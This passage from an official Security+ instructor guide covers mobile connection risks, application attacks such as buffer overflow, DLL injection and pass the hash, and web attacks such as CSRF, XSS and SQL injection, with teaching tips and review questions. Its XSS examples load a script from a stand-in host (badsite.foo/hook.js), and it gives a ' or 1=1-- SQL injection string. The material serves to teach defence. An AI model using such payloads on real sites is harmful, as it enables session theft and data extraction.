do so.
There are various ways of exploiting vulnerabilities in the way these updates work. A
well-resourced attacker can create an "evil base station" using a Stingray/International
Mobile Subscriber Identity (IMSI) catcher. This will allow the attacker to identify the
location of cell devices operating in the area. In some circumstances it might be
possible to launch a man-in-the-middle attack and abuse the firmware update process
to compromise the phone.

Microwave Radio Connection Methods Show Slide(s)

Cellular networks are microwave radio networks provisioned for multiple subscribers. Microwave Radio
Microwave radio is also used as a backhaul link from a cell tower to the service Connection Methods
provider's network. These links are important to 5G, where many relays are required
and provisioning fiber optic cabled backhaul can be difficult. Private microwave links
are also used between sites. A microwave link can be provisioned in two modes:
• Point-to-point (P2P) microwave uses high gain antennas to link two sites. High
gain means that the antenna is highly directional. Each antenna is pointed directly
at the other. In terms of security, this makes it difficult to eavesdrop on the signal,

Lesson 13: Implementing Secure Mobile Solutions | Topic 13B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 362 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

as an intercepting antenna would have to be positioned within the direct path. The
satellite modems or routers are also normally paired to one another and can use
over-the-air encryption to further mitigate against snooping attacks.

• Point-to-multipoint (P2M) microwave uses smaller sectoral antennas, each

covering a separate quadrant. Where P2P is between two sites, P2M links multiple
sites or subscriber nodes to a single hub. This can be more cost-efficient in high
density urban areas and requires less radio spectrum. Each subscriber node is
distinguished by multiplexing. Because of the higher risk of signal interception
compared to P2P, it is crucial that links be protected by over-the-air encryption.

Multipoint can be used in other contexts. For example, Bluetooth supports a multipoint
mode. This can be used to connect a headset to multiple sources (a PC and a
smartphone, for instance) simultaneously.

Lesson 13: Implementing Secure Mobile Solutions | Topic 13B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 363

Review Activity:
Secure Mobile Device Connections
Answer the following questions:

1. How might wireless connection methods be used to compromise the

security of a mobile device processing corporate data?

An attacker might set up some sort of rogue access point (Wi-Fi) or cell tower (cellular)
to perform eavesdropping or man-in-the-middle attacks. For Personal Area Network
(PAN) range communications, there might be an opportunity for an attacker to run
exploit code over the channel.

2. Why might enforcement policies be used to prevent USB tethering when a

smartphone is brought to the workplace?

This would allow a PC or laptop to connect to the Internet via the smartphone's cellular
data connection. This could be used to evade network security mechanisms, such as
data loss prevention or content filtering.

3. True or false? A maliciously designed USB battery charger could be used to

exploit a mobile device on connection.

True (in theory)—though the vector is known to the mobile OS and handset vendors so
the exploit is unlikely to be able to run without user authorization.

4. Chuck, a sales executive, is attending meetings at a professional conference

that is also being attended by representatives of other companies in his
field. At the conference, he uses his smartphone with a Bluetooth headset
to stay in touch with clients. A few days after the conference, he finds that
competitors' sales representatives are getting in touch with his key contacts
and influencing them by revealing what he thought was private information
from his email and calendar. Chuck is a victim of which wireless threat?

Bluesnarfing.

Lesson 13: Implementing Secure Mobile Solutions | Topic 13B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 364 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Lesson 13
Summary
Teaching You should be able to use endpoint management solutions to apply device and
Tip application enforcement and monitoring and understand risks from mobile connection
Check that students methods and other technologies.
are confident about
the content that has
been covered. If there Guidelines for Implementing Secure Mobile Solutions
is time, re-visit any
content examples that Follow these guidelines when you deploy or reassess mobile device and application
they have questions management:
about. If you have
used all the available
• Select a mobile deployment model that best fits organization security requirements
time for this lesson and employee/business needs (BYOD, COBO, COPE, CYOD).
block, note the issues,
and schedule time for • Deploy a mobile/universal endpoint management platform to set device and
a review later in the application policies:
course.
• Allowed connection methods (cellular, Wi-Fi, tethering, and Bluetooth).

• Authentication requirements (screen locks, biometric, PIN, context-aware).

• Blocked device functions (geotagging, camera, microphone).

• Blocking of rooted/jailbroken/custom firmware/carrier unlocked devices.

• Sideloading, workspaces, and storage segmentation for enterprise apps and

data.

• Device encryption and remote wipe.

Lesson 13: Implementing Secure Mobile Solutions

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 14
Summarizing Secure
Application Concepts

LESSON INTRODUCTION Teaching

Tip
Automation strategies for resiliency, disaster recovery, and incident response This lesson covers
put development (programming and scripting) at the heart of secure network both application
administration and operations (DevSecOps). As well as automating operations, more attacks and secure
companies are having to maintain bespoke code in customer-facing software, such as coding practices. The
web applications. Consequently, secure application development is a competency that importance of coding
examples grows
will only grow in importance over the course of your career. with each syllabus
release, and there
Lesson Objectives are a lot of fairly
complex concepts to
get through, so be
In this lesson, you will:
prepared to allocate
• Analyze indicators of application attacks. plenty of time to
covering this content.
• Analyze indicators of web application attacks.

• Summarize secure coding practices.

• Implement secure script environments.

• Summarize deployment and automation concepts.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 366 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 14A
Analyze Indicators
of Application Attacks

Teaching EXAM OBJECTIVES COVERED

Tip 1.3 Given a scenario, analyze potential indicators associated with application attacks
This topic focuses
on attacks against
binary code and the Attacks against desktop and server applications allow threat actors to run arbitrary
compromise of hosts
code on trusted hosts, allowing them to gain a foothold on the network or move
(buffer overflow and
privilege escalation). laterally within it. With sufficient privileges and access, an attacker can quickly move to
compromising data assets or causing denial of service against critical servers. Not all
of these attacks will be detected automatically, so as a security professional, you must
be able to identify indicators of arbitrary code execution and privilege escalation from
your host monitoring and logging systems.

Show Slide(s) Application Attacks

Application Attacks
An application attack targets a vulnerability in OS or application software. An
application vulnerability is a design flaw that can cause the application security system
Teaching to be circumvented or that will cause the application to crash.
Tip
Note that in most
Privilege Escalation
cases, a successful
attack can only be
The purpose of most application attacks is to allow the threat actor to run his or her
identified through own code on the system. This is referred to as arbitrary code execution. Where the
the behavior of the code is transmitted from one machine to another, it can be referred to as remote code
compromised process execution. The code would typically be designed to install some sort of backdoor or to
of host, in terms of file disable the system in some way (denial of service).
system and network
activity. An application or process must have privileges to read and write data and execute
functions. Depending on how the software is written, a process may run using a system
account, the account of the logged-on user, or a nominated account. If a software exploit
works, the attacker may be able to execute arbitrary code with the same privilege level as
the exploited process. There are two main types of privilege escalation:
• Vertical privilege escalation (or elevation) is where a user or application can
access functionality or data that should not be available to them. For instance, a
process might run with local administrator privileges, but a vulnerability allows the
arbitrary code to run with higher system privileges.

• Horizontal privilege escalation is where a user accesses functionality or data

that is intended for another user. For instance, via a process running with local
administrator privileges on a client workstation, the arbitrary code is able to execute
as a domain account on an application server.

Without performing detailed analysis of code or process execution in real time, it is

privilege escalation that provides the simplest indicator of an application attack. If process
logging has been configured (varonis.com/blog/sysmon-threat-detection-guide), the audit
log can provide evidence of privilege escalation attempts. These attempts may also be
detected by incident response and endpoint protection agents, which will display an alert.

Lesson 14: Summarizing Secure Application Concepts | Topic 14A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 367

Error Handling
An application attack may cause an error message. In Windows, this may be of the
following types: "Instruction could not be read or written," "Undefined exception,"
or "Process has encountered a problem." One issue for error handling is that the
application should not reveal configuration or platform details that could help an
attacker. For example, an unhandled exception on a web application might show an
error page that reveals the type and configuration of a database server.

Improper Input Handling

Most software accepts user input of some kind, whether the input is typed manually or
passed to the program by another program, such as a browser passing a URL to a web
server or a Windows process using another process via its application programming
interface. Good programming practice dictates that input should be tested to ensure
that it is valid; that is, the sort of data expected by the receiving process. Most
application attacks work by passing invalid or maliciously constructed data to the
vulnerable process. There are many ways of exploiting improper input handling, but
many attacks can be described as either overflow-type attacks or injection-type attacks.

Overflow Vulnerabilities Show Slide(s)

In an overflow attack, the threat actor submits input that is too large to be stored in
Overflow
a variable assigned by the application. Some of the general overflow vulnerabilities
Vulnerabilities
are discussed here. To keep up to date with specific attack methods and new types of
attack, monitor a site such as OWASP (owasp.org/www-community/attacks). Ideally, the Teaching
code used to attempt these attacks will be identified by network IDS or by an endpoint Tip
protection agent. Unsuccessful attempts may be revealed through unexplained crashes To protect against
or error messages following a file download, execution of a new app or a script, or software exploitation,
connection of new hardware. apply security
patches (for third-
Buffer Overflow party applications) or
secure programming
A buffer is an area of memory that the application reserves to store expected data. To practice (for your own
exploit a buffer overflow vulnerability, the attacker passes data that deliberately overfills applications).
the buffer. One of the most common vulnerabilities is a stack overflow. The stack is an OWASP is a great
area of memory used by a program subroutine. It includes a return address, which is the resource for more
location of the program that called the subroutine. An attacker could use a buffer overflow detailed information.
to change the return address, allowing the attacker to run arbitrary code on the system. As EternalBlue
shows, an exploit
might use several
attack techniques
to compromise
vulnerable code.

When executed normally, a function will return control to the calling function. If the code
is vulnerable, an attacker can pass malicious data to the function, overflow the stack,
and run arbitrary code to gain a shell on the target system.

Lesson 14: Summarizing Secure Application Concepts | Topic 14A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 368 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Integer Overflow
An integer is a positive or negative number with no fractional component (a whole
number). Integers are widely used as a data type, where they are commonly defined
with fixed lower and upper bounds. An integer overflow attack causes the target
software to calculate a value that exceeds these bounds. This may cause a positive
number to become negative (changing a bank debit to a credit, for instance). It could
also be used where the software is calculating a buffer size; if the attacker is able to
make the buffer smaller than it should be, he or she may then be able to launch a
buffer overflow attack.

EternalBlue is an example of an exploit that uses vulnerabilities in integer overflow to effect

a buffer overflow and gain system privileges on a Windows host (sentinelone.com/blog/
eternalblue-nsa-developed-exploit-just-wont-die).

Show Slide(s) Null Pointer Dereferencing and Race Conditions

Null Pointer
In C/C++ programming, a pointer is a variable that stores a memory location, rather
Dereferencing and than a value. Attempting to read or write that memory address via the pointer is called
Race Conditions dereferencing. If the memory location is invalid or null (perhaps by some malicious
process altering the execution environment), this creates a null pointer dereference
Teaching type of exception and the process will crash, probably. In some circumstances, this
Tip might also allow a threat actor to run arbitrary code. Programmers can use logic
Note that statements to test that a pointer is not null before trying to use it.
dereferencing does
not mean "deleting" or A race condition is one means of engineering a null pointer dereference exception.
"removing;" it means Race conditions occur when the outcome from an execution process is directly
"read" or "resolve." dependent on the order and timing of certain events, and those events fail to execute
The code is taking in the order and timing intended by the developer. In 2016, the Linux kernel was
a reference to a discovered to have an exploitable race condition vulnerability, known as Dirty COW
memory address and
returning the value. A
(theregister.com/2016/10/21/linux_privilege_escalation_hole).
null pointer exception Race condition attacks can also be directed at databases and file systems. A time
occurs when this
of check to time of use (TOCTTOU) race condition occurs when there is a change
reference value is null
or invalid. between when an app checked a resource and when the app used the resource. This
change invalidates the check. An attacker that can identify a TOCTTOU vulnerability
will attempt to manipulate data after it has been checked but before the application
can use this data to perform some operation. For example, if an application creates a
temporary file to store a value for later use, and an attacker can replace or delete this
file between the time it is created and the time it is used, then the attacker is exploiting
a TOCTTOU vulnerability.

Show Slide(s) Memory Leaks and Resource Exhaustion

Memory Leaks and
If a process is operating correctly, when it no longer requires a block of memory, it
Resource Exhaustion should release it. If the program code does not do this, it could create a situation
where the system continually leaks memory to the faulty process. This means less
memory is available to other processes and the system could crash. Memory leaks
are particularly serious in service/background applications, as they will continue
to consume memory over an extended period. Memory leaks in the OS kernel
are also extremely serious. A memory leak may itself be a sign of a malicious or
corrupted process.
More generally, a malicious process might cause denial of service or set up the
conditions for privilege escalation via resource exhaustion. Resources refers to
CPU time, system memory allocation, fixed disk capacity, and network utilization. A

Lesson 14: Summarizing Secure Application Concepts | Topic 14A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 369

malicious process could spawn multiple looping threads to use up CPU time, or write
thousands of files to disk. Distributed attacks against network applications perform a
type of resource exhaustion attack by starting but not completing sessions, causing
the application to fill up its state table, leaving no opportunities for genuine clients
to connect.

DLL Injection and Driver Manipulation Show Slide(s)

A dynamic link library (DLL) is a binary package that implements some sort of standard DLL Injection and
functionality, such as establishing a network connection or performing cryptography. Driver Manipulation
The main process of a software application is likely to load several DLLs during the
normal course of operations. Teaching
Tip
DLL injection is a vulnerability in the way the operating system allows one process to
attach to another. This functionality can be abused by malware to force a legitimate Stress to students
that like any EXE file,
process to load a malicious link library. The link library will contain whatever functions DLLs and drivers
the malware author wants to be able to run. Malware uses this technique to move from should only be run or
one host process to another to avoid detection. A process that has been compromised installed if they are
by DLL injection might open unexpected network connections, or interact with files and signed with a valid
the registry suspiciously. certificate from a
reputable vendor.
To perform DLL injection the malware must already be operating with sufficient
privileges, typically local administrator or system privileges. It must also evade
detection by antivirus software. One means of doing this is code refactoring.
Refactoring means that the code performs the same function by using different
methods (control blocks, variable types, and so on). Refactoring means that the A-V
software may no longer identify the malware by its signature.
OS function calls to allow DLL injection are legitimately used for operations such
as debugging and monitoring. Another opportunity for malware authors to exploit
these calls is the Windows Application Compatibility framework. This allows legacy
applications written for an OS, such as Windows XP, to run on later versions. The code
library that intercepts and redirects calls to enable legacy mode functionality is called a
shim. The shim must be added to the registry and its files (packed in a shim database/
.SDB file) added to the system folder. The shim database represents a way that
malware with local administrator privileges can run on reboot (persistence). Show Slide(s)

Pass the Hash Attack Pass the Hash Attack

A threat actor has to be either relatively lucky to find an unpatched vulnerability, or Teaching
well-resourced enough to develop a zero-day exploit. Once an initial foothold has been Tip
gained, the threat actor may try to find simpler ways to move around the network. You might also want to
mention golden ticket
Attackers can extend their lateral movement by a great deal if they are able to attacks (youtube.com/
compromise host credentials. One common credential exploit technique for lateral watch?v=
movement is called pass the hash (PtH). This is the process of harvesting an account's lJQn06QLwEw).
cached credentials when the user is logged into a single sign-on (SSO) system so the If students are
attacker can use the credentials on other systems. If the threat actor can obtain the interested in learning
hash of a user password, it is possible to present the hash (without cracking it) to more about Pass
the Hash and ticket
authenticate to network protocols such as the Windows File Sharing protocol Server
forging, refer them
Message Block (SMB), and other protocols that accept NTLM hashes as authentication to the briefing here:
credentials. For example, most Windows domain networks are configured to allow media.blackhat.com/
NTLM as a legacy authentication method for services. The attacker's access isn't just bh-us-12/Briefings/
limited to a single host, as they can pass the hash onto any computer in the network Duckwall/BH_US_12_
that is tied to the domain. This drastically cuts down on the effort the threat actor must Duckwall_Campbell_
Still_Passing_WP.pdf
spend in moving from host to host.

Lesson 14: Summarizing Secure Application Concepts | Topic 14A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 370 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Pass the hash is relatively difficult to detect, as it exploits legitimate network behavior.
A detection system can be configured to correlate a sequence of security log events
using NTLM-type authentication, but this method can be prone to false positives
(blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/).

The pass the hash process. (Images © 123RF.com.)

Lesson 14: Summarizing Secure Application Concepts | Topic 14A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 371

Review Activity:
Indicators of Application Attacks
Answer the following questions:

1. Your log shows that the Notepad process on a workstation running as

the local administrator account has started an unknown process on an
application server running as the SYSTEM account. What type of attack(s)
are represented in this intrusion event?

The Notepad process has been compromised, possibly using buffer overflow or a DLL/
process injection attack. The threat actor has then performed lateral movement and
privilege escalation, gaining higher privileges through remote code execution on the
application server.

2. How might an integer overflow be used as part of a buffer overflow?

The integer value could be used to allocate less memory than a process expects,
making a buffer overflow easier to achieve.

3. You are providing security advice and training to a customer's technical

team. One asks how they can identify when a buffer overflow occurs. What
is your answer?

Real-time detection of a buffer overflow is difficult, and is typically only achieved by

security monitoring software (antivirus, endpoint detection and response, or user
and entity behavior analytics) or by observing the host closely within a sandbox. An
unsuccessful attempt is likely to cause the process to crash with an error message. If
the attempt is successful, the process is likely to show anomalous behavior, such as
starting another process, opening network connections, or writing to AutoRun keys in
the registry. These indicators can be recorded using logging and system monitoring
tools.

4. What is the effect of a memory leak?

A process claims memory locations but never releases them, reducing the amount of
memory available to other processes. This will damage performance, could prevent
other processes from starting, and if left unchecked could crash the OS.

5. How can DLL injection be exploited to hide the presence of malware?

Various OS system functions allow one process to manipulate another and force it to
load a dynamic link library (DLL). This means that the malware code can be migrated
from one process to another, evading detection.

6. Other than endpoint protection software, what resource can provide

indicators of pass the hash attacks?

These attacks are revealed by use of certain modes of NTLM authentication within the
security (audit) log of the source and target hosts. These indicators can be prone to
false positives, however, as many services use NTLM authentication legitimately.

Lesson 14: Summarizing Secure Application Concepts | Topic 14A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 372 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 14B
Analyze Indicators of Web
Application Attacks

Teaching EXAM OBJECTIVES COVERED

Tip 1.3 Given a scenario, analyze potential indicators associated with application attacks
This topic deals with
the remainder of the
application attack
A web application exposes many interfaces to public networks. Attackers can exploit
content examples,
which mostly refer vulnerabilities in server software and in client browser security to perform injection
to web application and session hijacking attacks that compromise data confidentiality and integrity.
server and client Understanding how the vectors and vulnerabilities exploited by these attacks will help
vulnerabilities and you to identify and remediate configuration weaknesses in your systems.
exploits.

Show Slide(s) Uniform Resource Locator Analysis

As well as pointing to the host or service location on the Internet (by domain name
Uniform Resource
Locator Analysis
or IP address), a uniform resource locator (URL) can encode some action or data to
submit to the server host. This is a common vector for malicious activity.
Teaching
Tip
Make sure students
can interpret the
parts of a URL and
are familiar with
the general process
of HTTP requests
and responses and
methods.

Uniform resource locator (URL) analysis.

HTTP Methods
As part of URL analysis, it is important to understand how HTTP operates. An HTTP
session starts with a client (a user-agent, such as a web browser) making a request to
an HTTP server. The connection establishes a TCP connection. This TCP connection can
be used for multiple requests, or a client can start new TCP connections for different
requests. A request typically comprises a method, a resource (such as a URL path),
version number, headers, and body. The principal method is GET, used to retrieve a
resource. Other methods include:

Lesson 14: Summarizing Secure Application Concepts | Topic 14B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 373

• POST—send data to the server for processing by the requested resource.

• PUT—create or replace the resource. DELETE can be used to remove the resource.
• HEAD—retrieve the headers for a resource only (not the body).
Data can be submitted to a server either by using a POST or PUT method and the HTTP
headers and body, or by encoding the data within the URL used to access the resource.
Data submitted via a URL is delimited by the ? character, which follows the resource
path. Query parameters are usually formatted as one or more name=value pairs,
with ampersands delimiting each pair. A URL can also include a fragment or anchor
ID, delimited by #. The fragment is not processed by the web server. An anchor ID is
intended to refer to a section of a page but can be misused to inject JavaScript.
The server response comprises the version number and a status code and message, plus
optional headers, and message body. An HTTP response code is the header value returned
by a server when a client requests a URL, such as 200 for "OK" or 404 for "Not Found."

Percent Encoding
A URL can contain only unreserved and reserved characters from the ASCII set.
Reserved ASCII characters are used as delimiters within the URL syntax and should only
be used unencoded for those purposes. The reserved characters are:
: / ? # [ ] @ ! $ & ' ( ) * + , ; =
There are also unsafe characters, which cannot be used in a URL. Control characters,
such as null string termination, carriage return, line feed, end of file, and tab, are
unsafe. Percent encoding allows a user-agent to submit any safe or unsafe character
(or binary data) to the server within the URL. Its legitimate uses are to encode reserved
characters within the URL when they are not part of the URL syntax and to submit
Unicode characters. Percent encoding can be misused to obfuscate the nature of a URL
(encoding unreserved characters) and submit malicious input. Percent encoding can
exploit weaknesses in the way the server application performs decoding. Consequently,
URLs that make unexpected or extensive use of percent encoding should be treated
carefully. You can use a resource such as W3 Schools (w3schools.com/tags/ref_
urlencode.asp) for a complete list of character codes, but it is helpful to know some of
the characters most widely used in exploits.

Character Percent Encoding

null %00
space %20
CR (Carriage Return) %0D
LF (Line Feed) %0A
+ %2B
% %25
/ %2F
\ %5C
. %2E
? %3F
" %22
' %27
< %3C
> %3E
& %26
| %7C

Lesson 14: Summarizing Secure Application Concepts | Topic 14B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 374 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Application Programming Interface Attacks

Application
Web applications and cloud services implement application program interfaces (APIs)
Programming to allow consumers to automate services. An API call might use the following general
Interface Attacks URL format:

Teaching https://webapp.foo/?
Tip Action=RunInstance&Id=123&Count=1&Instance
Make sure students
AccessKey=MyInstanceAccessKey&Placement=us-
can identify the east&MyAuthorizationToken
general format of an
API call. If the API isn't secure, threat actors can easily take advantage of it to compromise the
services and data stored on the web application. An API must only be used over an
encrypted channel (HTTPS). API calls over plain HTTP are not secure and could easily be
impersonated or modified by a third party. Some other common attacks against APIs
target the following weaknesses and vulnerabilities:
• Ineffective secrets management, allowing threat actors to discover an API key and
perform any action authorized to that key.

• Lack of input validation, allowing the threat actor to insert arbitrary parameters into
API methods and queries. This is often referred to as allowing unsanitized input.

• Error messages revealing clues to a potential adversary. For example, an

authentication error should not reveal whether a valid username has been rejected
because of an invalid password. The error should simply indicate an authentication
failure.

• Denial of service (DoS) by bombarding the API with spurious calls. Protection against
this attack can be provided through throttling/rate-limiting mechanisms.

Show Slide(s) Replay Attacks

Replay Attacks
Session management enables web applications to uniquely identify a user across
a number of different actions and requests. Session management is particularly
Teaching important when it comes to user authentication, as it is required to ensure the integrity
Tip of the account and the confidentiality of data associated with it. Session management
Note that replay is often vulnerable to different kinds of replay attack. To establish a session, the
depends on weak server normally gives the client some type of token. A replay attack works by
session management sniffing or guessing the token value and then submitting it to re-establish the session
tokens. illegitimately.
HTTP is nominally a stateless protocol, meaning that the server preserves no
information about the client, but mechanisms such as cookies have been developed
to preserve stateful data. A cookie is created when the server sends an HTTP response
header with the cookie data. A cookie has a name and value, plus optional security and
expiry attributes. Subsequent request headers sent by the client will usually include
the cookie. Cookies are either nonpersistent (session) cookies, in which case they are
stored in memory and deleted when the browser instance is closed, or persistent, in
which case they are stored in the browser cache until deleted by the user or pass a
defined expiration date.
If cookies are used to store confidential information, the web application should
encrypt them before sending them to the client. If using TLS, information in a cookie
would be secure in transit but reside on the client computer in plaintext, unless it had
been separately encrypted. The value can be any URL-safe encoded string in whatever
format and structure the application uses for parsing.

Lesson 14: Summarizing Secure Application Concepts | Topic 14B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 375

Viewing cookies set by Google's home page using the Firefox browser's Inspector tools. These cookies
are not used for authentication, but they do track whether the user has visited the site before. The
CONSENT cookie tracks whether the user has agreed to the terms and conditions of use.

Session Hijacking and Cross-Site Request Forgery Show Slide(s)

In the context of a web application, session hijacking most often means replaying a Session Hijacking and
cookie in some way. Attackers can sniff network traffic to obtain session cookies sent Cross-Site Request
over an unsecured network, like a public Wi-Fi hotspot. To counter cookie hijacking, Forgery (2)
you can encrypt cookies during transmission, delete cookies from the client's browser
cache when the client terminates the session, and design your web app to deliver a Teaching
new cookie with each new session between the app and the client's browser. Tip
Session prediction attacks focus on identifying possible weaknesses in the generation Note that a client-
side attack is where
of session tokens that will enable an attacker to predict future valid session values. If the browser runs the
an attacker can predict the session token, then the attacker can take over a session malicious code. This
that has yet to be established. A session token must be generated using a non- might trigger some
predictable algorithm, and it must not reveal any information about the session client. action on the server,
In addition, proper session management dictates that apps limit the lifespan of a but it is client-side
because the browser
session and require reauthentication after a certain period.
is coding the request.

Cross-Site Request Forgery

A client-side or cross-site request forgery (CSRF or XSRF) can exploit applications
that use cookies to authenticate users and track sessions. To work, the attacker must
convince the victim to start a session with the target site. The attacker must then pass
an HTTP request to the victim's browser that spoofs an action on the target site, such
as changing a password or an email address. This request could be disguised in a few
ways and so could be accomplished without the victim necessarily having to click a
link. If the target site assumes that the browser is authenticated because there is a
valid session cookie and doesn't complete any additional authorization process on the
attacker's input (or if the attacker is able to spoof the authorization), it will accept the
input as genuine. This is also referred to as a confused deputy attack (the point being
that the user and the user's browser are not necessarily the same thing).

Lesson 14: Summarizing Secure Application Concepts | Topic 14B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 376 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Cross-site request forgery example. (Images © 123RF.com.)

Clickjacking
Clickjacking is an attack where what the user sees and trusts as a web application
with some sort of login page or form contains a malicious layer or invisible iFrame
that allows an attacker to intercept or redirect user input. Clickjacking can be launched
using any type of compromise that allows the adversary to run arbitrary code as a
script. Clickjacking can be mitigated by using HTTP response headers that instruct the
browser not to open frames from different origins (domains) and by ensuring that any
buttons or input boxes on a page are positioned on the top-most layer.

SSL Strip
Show Slide(s)
A Secure Sockets Layer (SSL) strip attack is launched against clients on a local network
as they try to make connections to websites. The threat actor must first perform a
Cross-Site Scripting Man-in-the-Middle attack via ARP poisoning to masquerade as the default gateway.
When a client requests an HTTP site that redirects to an HTTPS site in an unsafe way,
Teaching
the sslstrip utility (tools.kali.org/information-gathering/sslstrip) proxies the request and
Tip
response, serving the client the HTTP site, hopefully with an unencrypted login form. If
Make sure students
the user enters credentials, they will be captured by the threat actor. Sites can use the
can identify code that
performs XSS. HTTP Strict Transport Security (HSTS) lists maintained by browsers to prevent clients
Also check that
requesting HTTP in the first place.
students understand
the difference
between XSRF and
Cross-Site Scripting
XSS. XSRF spoofs
Web applications depend on scripting, and most websites these days are web
a specific request
against the web applications rather than static web pages. If the user attempts to disable scripting,
application; XSS is a very few sites will be left available. A cross-site scripting (XSS) attack exploits the fact
means of running any that the browser is likely to trust scripts that appear to come from a site the user has
arbitrary code. An XSS chosen to visit. XSS inserts a malicious script that appears to be part of the trusted site.
attack could be used A nonpersistent type of XSS attack would proceed as follows:
to perform XSRF, for
instance. 1. The attacker identifies an input validation vulnerability in the trusted site.

Lesson 14: Summarizing Secure Application Concepts | Topic 14B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 377

2. The attacker crafts a URL to perform a code injection against the trusted site. This
could be coded in a link from the attacker's site to the trusted site or a link in an
email message.

3. When the user clicks the link, the trusted site returns a page containing the
malicious code injected by the attacker. As the browser is likely to be configured
to allow the site to run scripts, the malicious code will execute.

The malicious code could be used to deface the trusted site (by adding any sort of
arbitrary HTML code), steal data from the user's cookies, try to intercept information
entered into a form, perform a request forgery attack, or try to install malware. The
crucial point is that the malicious code runs in the client's browser with the same
permission level as the trusted site.
An attack where the malicious input comes from a crafted link is a reflected or
nonpersistent XSS attack. A stored/persistent XSS attack aims to insert code into a
back-end database or content management system used by the trusted site. For
example, the attacker may submit a post to a bulletin board with a malicious script
embedded in the message. When other users view the message, the malicious script
is executed. For example, with no input sanitization, a threat actor could type the
following into a new post text field:
Check out this amazing <a href="https://trusted.
foo">website</a><script src="https://badsite.foo/
hook.js"></script>.
Users viewing the post will have the malicious script hook.js execute in their browser.
A third type of XSS attack exploits vulnerabilities in client-side scripts. Such scripts often
use the Document Object Model (DOM) to modify the content and layout of a web
page. For example, the "document.write" method enables a page to take some user
input and modify the page accordingly. An exploit against a client-side script could
work as follows:
1. The attacker identifies an input validation vulnerability in the trusted site. For
example, a message board might take the user's name from an input text box
and show it in a header.

https://trusted.foo/messages?user=james
2. The attacker crafts a URL to modify the parameters of a script that the server will
return, such as:

https://trusted.foo/messages#user=James%3Cscript%20
src%3D%22https%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2Fbadsite.foo%2Fhook.
js%22%3E%3C%2Fscript%3E
3. The server returns a page with the legitimate DOM script embedded, but
containing the parameter:

James<script src="https://badsite.foo/hook.js"> Show Slide(s)

</script>
Structured Query
4. The browser renders the page using the DOM script, adding the text "James" to Language Injection
the header, but also executing the hook.js script at the same time. Attacks

Teaching
Structured Query Language Injection Attacks Tip
Make sure students
Attacks such as session replay, CSRF, and DOM-based XSS are client-side attacks. can identify SQL code
This means that they execute arbitrary code on the browser. A server-side attack and suspicious query
causes the server to do some processing or run a script or query in a way that is not strings.

Lesson 14: Summarizing Secure Application Concepts | Topic 14B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 378 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

authorized by the application design. Most server-side attacks depend on some kind of
injection attack.
Where an overflow attack works against the way a process performs memory
management, an injection attack exploits some unsecure way in which the application
processes requests and queries. For example, an application might allow a user to view
his or her profile with a database query that should return the single record for that
one user's profile. An application vulnerable to an injection attack might allow a threat
actor to return the records for all users, or to change fields in the record when they are
only supposed to be able to read them.
A web application is likely to use Structured Query Language (SQL) to read and write
information from a database. The main database operations are performed by SQL
statements for selecting data (SELECT), inserting data (INSERT), deleting data (DELETE),
and updating data (UPDATE). In a SQL injection attack, the threat actor modifies
one or more of these four basic functions by adding code to some input accepted by
the app, causing it to execute the attacker's own set of SQL queries or parameters.
If successful, this could allow the attacker to extract or insert information into the
database or execute arbitrary code on the remote system using the same privileges as
the database application (owasp.org/www-community/attacks/SQL_Injection).
For example, consider a web form that is supposed to take a name as input. If the user
enters "Bob", the application runs the following query:
SELECT * FROM tbl_user WHERE username = 'Bob'
If a threat actor enters the string ' or 1=1-- and this input is not sanitized, the following
malicious query will be executed:
SELECT * FROM tbl_user WHERE username = '' or 1=1--#
The logical statement 1=1 is always true, and the --# string turns the rest of the
statement into a comment, making it more likely that the web application will parse
this modified version and dump a list of all users.

Show Slide(s) XML and LDAP Injection Attacks

XML and LDAP
An injection attack can target other types of protocol where the application takes user
Injection Attacks input to construct a query, filter, or document.

Teaching Extensible Markup Language (XML) Injection

Tip
Extensible Markup Language (XML) is used by apps for authentication and
Make sure students
